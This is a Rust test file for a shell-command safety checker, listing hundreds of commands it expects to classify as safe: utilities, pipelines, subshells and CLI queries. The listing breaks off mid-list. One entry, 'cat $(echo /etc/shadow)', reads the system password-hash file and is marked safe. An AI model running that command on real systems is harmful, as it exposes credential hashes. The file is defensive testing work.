use super::*;

fn check(cmd: &str) -> bool {
    is_safe_command(cmd)
}

safe! {
    grep_foo: "grep foo file.txt",
    cat_etc_hosts: "cat /etc/hosts",
    jq_key: "jq '.key' file.json",
    base64_d: "base64 -d",
    xxd_file: "xxd some/file",
    pgrep_ruby: "pgrep -l ruby",
    ruby_syntax_check: "ruby -c script.rb",
    bash_syntax_check: "bash -n script.sh",
    bash_syntax_check_path: "bash -n /etc/profile",
    bash_help: "bash --help",
    bash_version: "bash --version",
    zsh_syntax_check: "zsh -n ~/.zshrc",
    zsh_help: "zsh --help",
    zsh_version: "zsh --version",
    mise_activate_bash: "mise activate bash",
    mise_activate_bash_shims: "mise activate bash --shims",
    mise_activate_zsh: "mise activate zsh",
    mise_activate_quiet: "mise activate --quiet",
    mise_activate_substitution: "echo $(mise activate bash --shims)",

    eval_mise_activate: "eval \"$(mise activate bash --shims)\"",
    eval_mise_activate_unquoted: "eval $(mise activate bash)",
    eval_mise_activate_backtick: "eval `mise activate bash`",
    eval_two_mise_activates: "eval \"$(mise activate bash)\" \"$(mise activate zsh)\"",

    ruby_syntax_check_absolute_path: "ruby -c /tmp/foo.rb",
    ruby_syntax_check_clustered: "ruby -cscript.rb",
    ruby_help: "ruby --help",
    ruby_version: "ruby --version",

    mount_bare: "mount",
    mount_list_flag: "mount -l",
    mount_filter_tmpfs: "mount -t tmpfs",
    mount_filter_tmpfs_long: "mount --types tmpfs",
    mount_show_labels: "mount --show-labels",
    mount_pipe_grep: "mount | grep tmpfs",

    findmnt_bare: "findmnt",
    findmnt_tmpfs: "findmnt -t tmpfs",
    findmnt_tmpfs_long: "findmnt --types tmpfs",
    findmnt_target: "findmnt /tmp",
    findmnt_df_format: "findmnt -D",
    findmnt_json: "findmnt --json -t tmpfs",
    findmnt_source: "findmnt -S /dev/disk1s1",

    mountpoint_path: "mountpoint /tmp",
    mountpoint_quiet: "mountpoint -q /tmp",
    mountpoint_show: "mountpoint --show /tmp",

    apropos_keyword: "apropos foo",
    apropos_section: "apropos -s 1 grep",
    apropos_debug: "apropos -d foo",
    whatis_keyword: "whatis grep",
    whatis_section: "whatis -s 8 mount",
    manpath_bare: "manpath",
    manpath_long: "manpath -L",
    manpath_quiet: "manpath -q",
    look_word: "look hello",
    look_with_file: "look hello /usr/share/dict/words",
    look_ignore_case: "look -f Hello",
    look_terminate: "look -t : foo:",
    mandoc_bare: "mandoc",
    mandoc_file: "mandoc /usr/share/man/man1/ls.1",
    mandoc_format_html: "mandoc -T html /usr/share/man/man1/ls.1",
    mandoc_output_opts: "mandoc -O indent=4 -T utf8 manpage.1",
    mandoc_warning_level: "mandoc -W warning manpage.1",
    mandoc_mdoc_format: "mandoc -mdoc /usr/share/man/man1/ls.1",
    mandoc_man_format: "mandoc -man manpage.1",
    demandoc_bare: "demandoc",
    demandoc_file: "demandoc /usr/share/man/man1/ls.1",
    demandoc_words: "demandoc -w manpage.1",

    pcre2grep_basic: "pcre2grep 'foo.*bar' file.txt",
    pcre2grep_recursive: "pcre2grep -r pattern src/",
    pcre2grep_ignore_case: "pcre2grep -i 'pattern' file",
    pcre2grep_context: "pcre2grep -C 3 'pattern' file",
    pcre2grep_after_before: "pcre2grep -A 2 -B 2 'pattern' file",
    pcre2grep_exclude_dir: "pcre2grep -r --exclude-dir node_modules pattern src/",
    pcre2grep_from_file: "pcre2grep -f patterns.txt file",
    pcre2grep_only_match: "pcre2grep -o1 '(\\w+)' file",
    pcre2grep_version: "pcre2grep --version",
    pcregrep_basic: "pcregrep 'foo' file.txt",
    pcregrep_recursive: "pcregrep -r 'pattern' src/",
    pcre2test_bare: "pcre2test",
    pcre2test_version: "pcre2test --version",
    pcre2test_version_short: "pcre2test -v",
    pcre2test_help: "pcre2test --help",
    pcre2test_compile_opts: "pcre2test -C",
    pcre2test_specific_opt: "pcre2test -C jit",
    pcre2test_input_file: "pcre2test patterns.txt",
    pcre2test_jit: "pcre2test -jit patterns.txt",
    pcre2test_8bit: "pcre2test -8 patterns.txt",
    pcre2test_stack_size: "pcre2test -S 64 patterns.txt",
    pcre2test_unittest: "pcre2test -unittest",
    pcretest_basic: "pcretest patterns.txt",

    numfmt_bare: "numfmt",
    numfmt_to_iec: "numfmt --to=iec 1024",
    numfmt_from_to: "numfmt --from=auto --to=si 1500000",
    numfmt_field: "numfmt --field 2 --to=iec",
    numfmt_header: "numfmt --header --to=iec",
    numfmt_zero_terminated: "numfmt -z --to=iec",
    numfmt_grouping: "numfmt --grouping 1000000",
    numfmt_gnumfmt: "gnumfmt --to=iec 1024",

    csplit_simple: "csplit file.txt '/^---$/' '{*}'",
    csplit_quiet_keep: "csplit -s -k file.txt 100",
    csplit_prefix: "csplit -f part- file.txt 100",
    csplit_gnu_long: "csplit --prefix part- --digits 3 file.txt 100",
    csplit_gcsplit: "gcsplit -k -s -f part- file.txt 100",

    scalar_list: "scalar list",
    scalar_diagnose: "scalar diagnose",
    scalar_diagnose_path: "scalar diagnose /repo",
    scalar_help: "scalar --help",
    scalar_version: "scalar --version",

    stapler_validate: "stapler validate /Apps/Foo.app",
    stapler_validate_quiet: "stapler validate -q App.app",
    stapler_validate_verbose: "stapler validate -v App.app",

    safe_chains_judge: "safe-chains 'cargo test'",
    safe_chains_judge_with_pipe: "safe-chains 'mandoc -mdoc /usr/share/man/man1/ls.1'",
    safe_chains_list_commands: "safe-chains --list-commands",
    safe_chains_version_long: "safe-chains --version",
    safe_chains_version_short: "safe-chains -V",
    safe_chains_help: "safe-chains --help",
    safe_chains_level_flag: "safe-chains --level safe-read 'cargo test'",
    safe_chains_list_tools: "safe-chains --list-tools",

    tabs_bare: "tabs",
    tabs_every_8: "tabs -8",
    tabs_assembler: "tabs -a",
    tabs_assembler2: "tabs -a2",
    tabs_cobol3: "tabs -c3",
    tabs_terminal_type: "tabs -T xterm",
    tabs_positions: "tabs 1,5,9,13",

    lpstat_bare: "lpstat",
    lpstat_all_status: "lpstat -t",
    lpstat_default: "lpstat -d",
    lpstat_completed: "lpstat -W completed",
    lpstat_specific_printer: "lpstat -p HP_LaserJet",
    lpstat_remote: "lpstat -h cups.example.com:631 -t",

    lpq_bare: "lpq",
    lpq_all: "lpq -a",
    lpq_long: "lpq -l",
    lpq_specific_dest: "lpq -P HP_LaserJet",

    xccov_view_report: "xccov view Coverage.xccovreport",
    xccov_view_json: "xccov view --json Coverage.xccovreport",
    xccov_view_archive: "xccov view --archive Coverage.xccovarchive",
    xccov_diff: "xccov diff old.xccovreport new.xccovreport",
    xcresulttool_get: "xcresulttool get --path Run.xcresult",
    xcresulttool_get_with_id: "xcresulttool get --path Run.xcresult --id abc",
    xcresulttool_format_desc: "xcresulttool formatDescription --format json",
    xcresulttool_graph: "xcresulttool graph --path Run.xcresult",
    xcresulttool_version: "xcresulttool version",
    xcresulttool_metadata_get: "xcresulttool metadata get --path Run.xcresult",
    xctrace_list_devices: "xctrace list devices",
    xctrace_list_templates: "xctrace list templates",
    xctrace_version: "xctrace version",
    xctrace_export_har: "xctrace export --input Run.trace --output trace.har --har",
    xctrace_help: "xctrace help",
    xctrace_help_topic: "xctrace help record",

    cupstestppd_check: "cupstestppd printer.ppd",
    cupstestppd_quiet: "cupstestppd -q printer.ppd",
    cupstestppd_verbose: "cupstestppd -vv printer.ppd",
    cupstestppd_stdin: "cupstestppd -",
    printafm_font: "printafm Helvetica",

    delv_bare: "delv",
    delv_query: "delv example.com",
    delv_type: "delv -t AAAA example.com",
    dns_sd_browse: "dns-sd -B _http._tcp",
    dns_sd_lookup: "dns-sd -L MyService _http._tcp local.",
    dns_sd_query: "dns-sd -q example.com",
    ip2cc_bare: "ip2cc",
    ip2cc_lookup: "ip2cc 8.8.8.8",
    ipconfig_getifaddr: "ipconfig getifaddr en0",
    ipconfig_getsummary: "ipconfig getsummary en0",
    ipconfig_ifcount: "ipconfig ifcount",
    ipconfig_getiflist: "ipconfig getiflist",
    ipptool_test: "ipptool -tv ipp://printer.local/ test.test",
    ippfind_bare: "ippfind",
    ippfind_local: "ippfind --local --print",
    ldapsearch_basic: "ldapsearch -x -h ldap.example.com -b dc=example,dc=com",
    ldapsearch_anon_filter: "ldapsearch -x -LLL -b dc=example,dc=com '(uid=joe)'",
    ldapurl_compose: "ldapurl -H ldaps://ldap.example.com",
    ldapwhoami_bare: "ldapwhoami -x -h ldap.example.com",
    ldapcompare_basic: "ldapcompare -x ldap.example.com 'cn=joe,dc=example,dc=com' 'uid:joe'",
    sntp_query: "sntp pool.ntp.org",
    sntp_concurrent: "sntp --concurrent pool.ntp.org",
    unbound_host_basic: "unbound-host example.com",
    unbound_host_dnssec: "unbound-host -v example.com",
    fping_count: "fping -c 5 example.com",
    fping_alive: "fping -a -x 1 example.com",
    snmpget_basic: "snmpget -v 2c -c public host.example.com 1.3.6.1.2.1.1.1.0",
    snmpwalk_iface: "snmpwalk -v 2c -c public host.example.com 1.3.6.1.2.1.2.2",
    snmptranslate_oid: "snmptranslate 1.3.6.1.2.1.1.1.0",
    snmpbulkget_basic: "snmpbulkget -v 2c -c public host 1.3.6.1.2.1.2",
    pcp_htop_bare: "pcp-htop",

    corelist_module: "corelist Module::CoreList",
    corelist_diff: "corelist --diff 5.20.0 5.22.0",
    corelist_utils: "corelist --utils",
    uuencode_inline: "uuencode file.bin file.bin",
    uuencode_base64: "uuencode -m file.bin file.bin",
    uudecode_basic: "uudecode encoded.uu",
    b64encode_to_file: "b64encode -o out.b64 raw.bin raw.bin",
    b64decode_to_file: "b64decode -o out.bin in.b64",
    encguess_file: "encguess input.txt",
    encguess_show_suspects: "encguess -S",
    findrule_bare: "findrule",
    findrule_pattern: "findrule . -name '*.pm'",
    htmltree_file: "htmltree page.html",
    json_pp_filter: "json_pp",
    json_pp_indent: "json_pp -json_opt indent",
    json_xs_filter: "json_xs",
    scandeps_file: "scandeps.pl script.pl",
    config_data_query: "config_data --module Foo::Bar --feature opt",
    instmodsh_bare: "instmodsh",
    prove_t_dir: "prove t/",
    prove_archive: "prove --archive results.tgz t/",
    enc2xs_compile: "enc2xs -f input.ucm -o out/",
    h2ph_file: "h2ph stdio.h",
    h2xs_skeleton: "h2xs -X My::Module",
    libnetcfg_bare: "libnetcfg",
    pp_basic: "pp -o myapp script.pl",
    par_pl_run: "par.pl -A app.par MAIN",
    parl_run: "parl -A app.par MAIN",
    pl2pm_basic: "pl2pm legacy.pl",
    pod2html_to_file: "pod2html --infile Module.pm --outfile Module.html",
    pod2man_basic: "pod2man Module.pm Module.1",
    pod2text_basic: "pod2text Module.pm",
    pod2usage_basic: "pod2usage Module.pm",
    pod2readme_basic: "pod2readme Module.pm",
    podchecker_basic: "podchecker Module.pm",
    xgettext_pl_basic: "xgettext.pl -o messages.po lib/Foo.pm",
    xsubpp_basic: "xsubpp Module.xs",
    headerdoc2html_basic: "headerdoc2html -o docs/ Header.h",
    gatherheaderdoc_basic: "gatherheaderdoc docs/",

    dscacheutil_query_user: "dscacheutil -q user -a name root",
    dscacheutil_statistics: "dscacheutil -statistics",
    dscacheutil_cachedump: "dscacheutil -cachedump",
    dsmemberutil_check: "dsmemberutil checkmembership -u 501 -G admin",
    dsmemberutil_getuuid: "dsmemberutil getuuid -u 501",
    nfsstat_bare: "nfsstat",
    nfsstat_client: "nfsstat -c",
    nfsstat_server: "nfsstat -s",
    dyld_usage_bare: "dyld_usage",
    dyld_usage_json: "dyld_usage -j",
    hostid_bare: "hostid",
    hostinfo_bare: "hostinfo",
    machine_bare: "machine",
    pagesize_bare: "pagesize",
    logname_bare: "logname",
    glogname_bare: "glogname",
    users_bare: "users",
    gusers_bare: "gusers",
    gid_alias: "gid",
    guname_alias: "guname -a",
    gwho_alias: "gwho",
    gwhoami_alias: "gwhoami",
    pinky_bare: "pinky",
    pinky_long: "pinky -l",
    hpmdiagnose_bare: "hpmdiagnose",
    tbtdiagnose_bare: "tbtdiagnose",
    viewdiagnostic_path: "viewdiagnostic /tmp/crash.ips",
    lastcomm_bare: "lastcomm",
    lastcomm_filter: "lastcomm someuser",
    mesg_bare: "mesg",
    mesg_n: "mesg n",
    mesg_y: "mesg y",
    path_helper_sh: "path_helper -s",
    path_helper_csh: "path_helper -c",
    pcsstatus_bare: "pcsstatus",

    asn1Decoding_basic: "asn1Decoding pkix.asn cert.der Certificate",
    danetool_check: "danetool --check example.com",
    danetool_tlsa: "danetool --tlsa-rr --host www.example.com --load-certificate cert.pem",
    ocsptool_request_info: "ocsptool --request-info --load-request req.der",
    p11tool_list_tokens: "p11tool --list-tokens",
    p11tool_info: "p11tool --info 'pkcs11:token=foo'",
    tpmtool_list: "tpmtool --list",
    klist_bare: "klist",
    klist_caches: "klist --list-caches",
    klist_test: "klist -s",
    krb5_config_libs: "krb5-config --libs",
    krb5_config_cflags: "krb5-config --cflags krb5",
    kcc_help: "kcc --help",
    checkLocalKDC_bare: "checkLocalKDC",
    idn_to_ascii: "idn --idna-to-ascii example.com",
    idn2_lookup: "idn2 --lookup example.com",
    derq_query: "derq query -f cert.der",
    cc_fips_test_bare: "cc_fips_test",
    sha224_file: "sha224 file.txt",
    sha256_file: "sha256 file.txt",
    sha512_file: "sha512 file.txt",
    sha224sum_basic: "sha224sum file.txt",
    sha384sum_basic: "sha384sum file.txt",
    gsha224sum_alias: "gsha224sum file.txt",
    gsha384sum_alias: "gsha384sum file.txt",

    pg_amcheck_basic: "pg_amcheck --all",
    pg_verifybackup_basic: "pg_verifybackup /backup",
    pg_waldump_basic: "pg_waldump 000000010000000000000001",
    pg_walsummary_basic: "pg_walsummary summary.bin",
    pg_test_timing_bare: "pg_test_timing",
    oid2name_bare: "oid2name",
    bsqldb_help: "bsqldb -h",
    tsql_compile_info: "tsql -C",
    odbc_config_libs: "odbc_config --libs",
    odbcinst_query_dsn: "odbcinst -q -s",
    odbcinst_query_drivers: "odbcinst -q -d",

    cmpdylib_basic: "cmpdylib old.dylib new.dylib",
    dyld_info_help: "dyld_info --help",
    dyld_info_segments: "dyld_info -segments /usr/lib/libSystem.B.dylib",
    dwarfdump_uuid: "dwarfdump --uuid binary",
    dwarfdump_verify: "dwarfdump --verify file.dSYM",
    llvm_otool_help: "llvm-otool --help",
    pagestuff_all: "pagestuff binary -a",
    unwinddump_basic: "unwinddump binary",
    lorder_files: "lorder a.o b.o c.o",
    dltest_lib: "dltest /usr/lib/libc.dylib printf",
    lldb_version: "lldb --version",
    lldb_help: "lldb --help",

    aclocal_bare: "aclocal",
    aclocal_install: "aclocal --install -I m4",
    autoheader_bare: "autoheader",
    autom4te_help: "autom4te --help",
    autoreconf_install: "autoreconf -fvi",
    autoscan_bare: "autoscan",
    autoupdate_bare: "autoupdate",
    autopoint_force: "autopoint --force",
    gettextize_dry_run: "gettextize --dry-run",
    libtool_help: "libtool --help",
    libtoolize_install: "libtoolize --install --force",
    glibtool_help: "glibtool --help",
    glibtoolize_install: "glibtoolize --install",
    bison_basic: "bison grammar.y",
    bison_output: "bison -d -o parser.c grammar.y",
    yacc_basic: "yacc grammar.y",
    byacc_basic: "byacc -d grammar.y",
    flex_basic: "flex scanner.l",
    flex_output: "flex -o scanner.c scanner.l",
    gperf_bare: "gperf keywords.gperf",
    gperf_output: "gperf --output-file=hash.c keywords.gperf",
    re2c_basic: "re2c -o scan.c scan.re",
    re2go_basic: "re2go -o scan.go scan.re",
    re2rust_basic: "re2rust -o scan.rs scan.re",
    yapp_basic: "yapp grammar.yp",
    eyapp_basic: "eyapp grammar.eyp",
    pkgbuild_component: "pkgbuild --component App.app --identifier com.example MyApp.pkg",
    productbuild_synth: "productbuild --synthesize --package MyApp.pkg dist.xml",

    touch_basic: "touch file.txt",
    gtouch_basic: "gtouch file.txt",
    cp_basic: "cp source.txt dest.txt",
    mv_basic: "mv old.txt new.txt",
    ln_symbolic: "ln -s /etc/hosts hosts",
    rmdir_basic: "rmdir empty/",
    mkfifo_basic: "mkfifo /tmp/myfifo",
    afscexpand_basic: "afscexpand file.txt",
    chflags_immutable: "chflags uchg secret.txt",
    rdfind_basic: "rdfind -dryrun true /tmp",
    mtree_check: "mtree -p /tmp",
    xattr_list: "xattr file.txt",
    drutil_info: "drutil info",
    fs_usage_bare: "fs_usage",
    lsbom_list: "lsbom Receipt.bom",
    sync_bare: "sync",
    quota_user: "quota -u",

    p11tool_listall: "p11tool --list-all",
    sha1_file: "sha1 file.txt",
    sha224sum_check: "sha224sum -c sums.txt",
    idn_punycode: "idn --punycode-decode xn--mnchen-3ya",

    dwarfdump_help2: "dwarfdump --help",
    indent_format: "indent file.c",
    ctags_create: "ctags *.c",

    bison_grammar: "bison -d grammar.y",
    flex_lex: "flex scan.l",
    yapp_compile: "yapp grammar.yp",
    re2c_compile: "re2c -o scan.c scan.re",
    pkgbuild_pkg2: "pkgbuild --component App.app --identifier com.foo Pkg.pkg",

    derez_basic: "DeRez resource.rsrc",
    plistbuddy_print: "PlistBuddy -c 'Print :Foo' /tmp/info.plist",
    hdiutil_info: "hdiutil info",
    hdiutil_verify: "hdiutil verify image.dmg",
    scutil_dns: "scutil --dns",
    smbutil_lookup: "smbutil lookup server",
    shazam_signature: "shazam signature --input audio.m4a --output sig.shazamsignature",
    open_url: "open https://example.com",
    osacompile_e: "osacompile -e 'beep' -o beep.scpt",
    osalang_list: "osalang -l",
    reset_terminal: "reset",
    uttype_all: "uttype --all",
    wdutil_info: "wdutil info",
    assetutil_info: "assetutil -I Assets.car",
    logger_msg: "logger 'test message'",
    xip_expand: "xip --expand archive.xip",
    screen_list: "screen -ls",

    aa_list: "aa list",
    aa_archive: "aa archive -d src -o out.aar",
    aea_id: "aea id",
    xar_extract: "xar -x -f file.xar",
    bzcmp_compare: "bzcmp a.bz2 b.bz2",
    xzdec_basic: "xzdec",
    zless_view: "zless file.gz",
    cpio_extract: "cpio -idv",
    ditto_copy: "ditto src/ dest/",
    zip_create: "zip archive.zip file.txt",
    zipgrep_search: "zipgrep pattern archive.zip",
    funzip_first: "funzip archive.zip",

    at_list: "at -l",
    atq_bare: "atq",
    killall_list: "killall -l",
    pgrep_list: "pgrep -l ssh",
    vmmap_help: "vmmap -h",
    kextstat_bare: "kextstat",
    klist_cdhashes_bare: "klist_cdhashes",
    nettop_bare: "nettop",
    lskq_all: "lskq -a",
    lsmp_bare: "lsmp -a",
    lsvfs_bare: "lsvfs",
    taskinfo_bare: "taskinfo",
    iostat_bare: "iostat",
    ipcs_bare: "ipcs",
    caffeinate_bare: "caffeinate",
    lsappinfo_list: "lsappinfo list",
    spindump_bare: "spindump",
    trace_plans: "trace plans",
    ktrace_info: "ktrace info",

    agy_version: "agy --version",
    agy_version_short: "agy -V",
    agy_help: "agy --help",
    agy_changelog: "agy changelog",
    agy_help_sub: "agy help",
    agy_help_topic: "agy help conversations",
    agy_plugin_list: "agy plugin list",
    agy_plugins_list: "agy plugins list",
    agy_plugin_help: "agy plugin --help",
    sample_pid: "sample 48066",
    sample_pid_duration: "sample 48066 1",
    sample_pid_duration_interval: "sample 48066 5 100",
    sample_by_name: "sample httpd",
    sample_with_may_die: "sample 48066 1 -mayDie",
    sample_with_full_paths: "sample 48066 -fullPaths",
    sample_with_max_thread_count: "sample 48066 -allMaxThreadCount 8",
    sample_with_pipe: "sample 48066 1 2>&1 | head -100",
    sample_redirect_to_tmp: "sample 48066 1 > /tmp/profile.txt",

    railway_status: "railway status",
    railway_status_json: "railway status --json",
    railway_whoami: "railway whoami",
    railway_logs_service: "railway logs --service web --json",
    railway_logs_with_filter: "railway logs --service worker --filter ERROR --tail 100",
    railway_metrics: "railway metrics --service web --cpu --since 1h",
    railway_variables_legacy_bare: "railway variables --service web",
    railway_variables_legacy_pipe: "railway variables --service web 2>&1 | tail -20",
    railway_variable_list_modern: "railway variable list --service web",
    railway_variable_list_with_env: "railway variable list --service web --environment production",
    railway_deployment_list: "railway deployment list --service web --limit 5",
    railway_environment_list: "railway environment list",
    railway_service_list: "railway service list",
    railway_volume_list: "railway volume list",
    railway_login: "railway login",
    railway_login_browserless: "railway login --browserless",
    railway_link: "railway link --project myproj --environment staging",
    railway_unlink: "railway unlink --yes",

    render_whoami: "render whoami",
    render_workspaces: "render workspaces",
    render_workspace_current: "render workspace current",
    render_services: "render services",
    render_services_instances: "render services instances",
    render_logs_tail: "render logs --resources srv-xxx --tail",
    render_deploys_list: "render deploys list",
    render_jobs_list: "render jobs list",
    render_blueprints_validate: "render blueprints validate render.yaml",
    render_login: "render login",

    northflank_get_service: "northflank get service --project myproj --service web",
    northflank_list_projects: "northflank list projects",
    northflank_logs: "northflank logs --project myproj --service web --follow",
    northflank_metrics: "northflank metrics --project myproj --service web",
    northflank_context_ls: "northflank context ls",
    northflank_login: "northflank login --token abc",

    cx_stacks_list: "cx stacks list",
    cx_services_list: "cx services list -s mystack",
    cx_processes_list: "cx processes list -s mystack",
    cx_env_vars_list: "cx env-vars list -s mystack",
    cx_tail: "cx tail -s mystack",
    cx_users_list: "cx users list",
    cx_config_list: "cx config list",
    cx_config_use: "cx config use",

    hey_boxes: "hey boxes",
    hey_box_imbox: "hey box imbox",
    hey_threads: "hey threads thread-id-123",
    hey_drafts: "hey drafts",
    hey_calendars: "hey calendars",
    hey_recordings_with_dates: "hey recordings cal-123 --starts-on 2026-01-01 --ends-on 2026-01-31",
    hey_todo_list: "hey todo list",
    hey_timetrack_current: "hey timetrack current",
    hey_journal_list: "hey journal list",
    hey_auth_status: "hey auth status",
    getconf_page_size: "getconf PAGE_SIZE",
    ls_la: "ls -la",
    wc_l: "wc -l file.txt",
    ps_aux: "ps aux",
    ps_ef: "ps -ef",
    top_l: "top -l 1 -n 10",
    uuidgen: "uuidgen",
    mdfind_app: "mdfind 'kMDItemKind == Application'",
    identify_png: "identify image.png",
    identify_verbose: "identify -verbose photo.jpg",

    diff_files: "diff file1.txt file2.txt",
    comm_23: "comm -23 sorted1.txt sorted2.txt",
    paste_files: "paste file1 file2",
    tac_file: "tac file.txt",
    rev_file: "rev file.txt",
    nl_file: "nl file.txt",
    expand_file: "expand file.txt",
    unexpand_file: "unexpand file.txt",
    fold_w80: "fold -w 80 file.txt",
    fmt_w72: "fmt -w 72 file.txt",
    column_t: "column -t file.txt",
    printf_hello: "printf '%s\\n' hello",
    seq_1_10: "seq 1 10",
    expr_add: "expr 1 + 2",
    test_f: "test -f file.txt",
    true_cmd: "true",
    false_cmd: "false",
    bc_l: "bc -l",
    factor_42: "factor 42",
    iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",

    readlink_f: "readlink -f symlink",
    hostname: "hostname",
    uname_a: "uname -a",
    arch: "arch",
    nproc: "nproc",
    uptime: "uptime",
    id: "id",
    groups: "groups",
    tty: "tty",
    locale: "locale",
    cal: "cal",
    sleep_1: "sleep 1",
    who: "who",
    w: "w",
    last_5: "last -5",
    lastlog: "lastlog",

    md5sum: "md5sum file.txt",
    md5: "md5 file.txt",
    sha256sum: "sha256sum file.txt",
    shasum: "shasum file.txt",
    sha1sum: "sha1sum file.txt",
    sha512sum: "sha512sum file.txt",
    cksum: "cksum file.txt",
    strings_bin: "strings /usr/bin/ls",
    hexdump_c: "hexdump -C file.bin",
    od_x: "od -x file.bin",
    size_aout: "size a.out",

    sw_vers: "sw_vers",
    mdls: "mdls file.txt",
    otool_l: "otool -L /usr/bin/ls",
    nm_aout: "nm a.out",
    system_profiler: "system_profiler SPHardwareDataType",
    ioreg_l: "ioreg -l -w 0",
    vm_stat: "vm_stat",

    dig: "dig example.com",
    nslookup: "nslookup example.com",
    host: "host example.com",
    whois: "whois example.com",

    shellcheck: "shellcheck script.sh",
    cloc: "cloc src/",
    tokei: "tokei",
    safe_chains: "safe-chains \"ls -la\"",

    awk_safe_print: "awk '{print $1}' file.txt",

    version_go: "go --version",
    version_perl: "perl --version",
    version_swift: "swift --version",
    version_git_c: "git -C /repo --version",
    version_docker_compose: "docker compose --version",
    version_cargo: "cargo --version",
    version_cargo_redirect: "cargo --version 2>&1",

    help_cargo: "cargo --help",
    help_cargo_install: "cargo install --help",

    dry_run_cargo_publish: "cargo publish --dry-run",
    dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
    dry_run_cargo_publish_allow_dirty: "cargo publish --dry-run --allow-dirty",
    dry_run_cargo_publish_no_verify: "cargo publish --dry-run --no-verify --allow-dirty 2>&1 | tail -10",
    cargo_package_list: "cargo package --list",
    cargo_package_list_allow_dirty: "cargo package --list --allow-dirty 2>&1 | head -40",
    cargo_package_l_short: "cargo package -l --allow-dirty",
    cargo_clean: "cargo clean",
    cargo_clean_dry_run: "cargo clean --dry-run",
    cargo_clean_workspace: "cargo clean --workspace --release",
    cargo_fetch: "cargo fetch",
    cargo_fetch_locked: "cargo fetch --locked",
    cargo_vendor: "cargo vendor",
    cargo_vendor_path: "cargo vendor vendor-dir",
    cargo_vendor_versioned: "cargo vendor --versioned-dirs --no-delete",
    cargo_config_get: "cargo config get",
    cargo_config_get_key: "cargo config get build.target",
    cargo_config_get_json: "cargo config get --format json build",
    cargo_report_future: "cargo report future-incompatibilities",
    cargo_report_future_id: "cargo report future-incompatibilities --id 1",

    cargo_udeps: "cargo udeps",
    cargo_udeps_all_features: "cargo udeps --all-features --workspace",
    cargo_msrv_find: "cargo msrv find",
    cargo_msrv_verify: "cargo msrv verify --rust-version 1.70",
    cargo_msrv_list: "cargo msrv list",
    cargo_msrv_show: "cargo msrv show",
    cargo_public_api: "cargo public-api",
    cargo_public_api_simplified: "cargo public-api -sss --all-features",
    cargo_about_generate: "cargo about generate about.hbs",
    cargo_about_generate_format_json: "cargo about generate --format json",
    cargo_vet_check: "cargo vet check",
    cargo_vet_suggest: "cargo vet suggest",
    cargo_vet_dump_graph: "cargo vet dump-graph --depth full",
    cargo_vet_explain_audit: "cargo vet explain-audit serde",
    cargo_geiger: "cargo geiger",
    cargo_geiger_all: "cargo geiger --all-dependencies --output-format Json",
    cargo_criterion: "cargo criterion --workspace",
    cargo_cyclonedx: "cargo cyclonedx --format json --all",

    cucumber_feature: "cucumber features/login.feature",
    cucumber_format: "cucumber --format progress",

    fd_redirect_ls: "ls 2>&1",
    fd_redirect_clippy: "cargo clippy 2>&1",
    fd_redirect_git_log: "git log 2>&1",
    fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",

    dev_null_echo: "echo hello > /dev/null",
    dev_null_stderr: "echo hello 2> /dev/null",
    dev_null_append: "echo hello >> /dev/null",
    dev_null_grep: "grep pattern file > /dev/null",
    dev_null_git_log: "git log > /dev/null 2>&1",
    dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
    dev_null_sed: "sed 's/foo/bar/' > /dev/null",
    dev_null_sort: "sort file.txt > /dev/null",

    env_prefix_single_quote: "FOO='bar baz' ls -la",
    env_prefix_double_quote: "FOO=\"bar baz\" ls -la",

    stdin_dev_null: "git log < /dev/null",

    subst_echo_ls: "echo $(ls)",
    subst_ls_pwd: "ls `pwd`",
    subst_cat_echo: "cat $(echo /etc/shadow)",
    subst_echo_git: "echo $(git status)",
    subst_nested: "echo $(echo $(ls))",
    subst_quoted: "echo \"$(ls)\"",

    assign_subst_ls: "out=$(ls)",
    assign_subst_git: "out=$(git status)",
    assign_subst_jj_diff: "out=$(jj diff -r abc --summary)",
    assign_subst_pipe: "result=$(jj diff -r abc --git | grep -c pattern || echo 0)",
    assign_subst_backtick: "out=`ls`",
    assign_subst_multiple: "a=$(ls) b=$(pwd)",

    subshell_echo: "(echo hello)",
    subshell_ls: "(ls)",
    subshell_chain: "(ls && echo done)",
    subshell_semicolon: "(echo hello; echo world)",
    subshell_pipe: "(ls | grep foo)",
    subshell_in_pipeline: "(echo hello) | grep hello",
    subshell_then_cmd: "(ls) && echo done",
    subshell_nested: "((echo hello))",
    subshell_for: "(for x in 1 2; do echo $x; done)",
    quoted_redirect: "echo 'greater > than' test",
    quoted_subst: "echo '$(safe)' arg",
    echo_hello: "echo hello",
    cat_file: "cat file.txt",
    grep_pattern: "grep pattern file",

    env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
    env_rails_rspec: "RAILS_ENV=test bundle exec rspec",

    pipe_grep_head: "grep foo file.txt | head -5",
    pipe_cat_sort_uniq: "cat file | sort | uniq",
    pipe_find_wc: "find . -name '*.rb' | wc -l",
    chain_ls_echo: "ls && echo done",
    semicolon_ls_echo: "ls; echo done",
    pipe_git_log_head: "git log | head -5",
    chain_git_log_status: "git log && git status",

    bg_ls_echo: "ls & echo done",
    bg_gh_wait: "gh pr view 123 --repo o/r --json title 2>&1 & gh pr view 456 --repo o/r --json title 2>&1 & wait",
    chain_ls_echo_and: "ls && echo done",
    here_string_grep: "grep -c , <<< 'hello,world,test'",

    newline_echo_echo: "echo foo\necho bar",
    newline_ls_cat: "ls\ncat file.txt",

    head_numeric_dash: "head -20 file.txt",
    tail_numeric_dash: "tail -100 log.txt",
    head_numeric_with_flags: "head -q -50 file.txt",
    pipeline_git_log_head: "git log --oneline -20 | head -5",
    pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
    pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
    pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
    pipeline_time_rspec: "time bundle exec rspec | tail -5",
    pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
    pipeline_xxd_head: "xxd file | head -20",
    pipeline_find_wc: "find . -name '*.py' | wc -l",
    pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
    pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
    pipeline_pip_grep: "pip list | grep requests",
    pipeline_npm_grep: "npm list | grep react",
    pipeline_ps_grep: "ps aux | grep python",

    help_cargo_build: "cargo build --help",

    for_echo: "for x in 1 2 3; do echo $x; done",
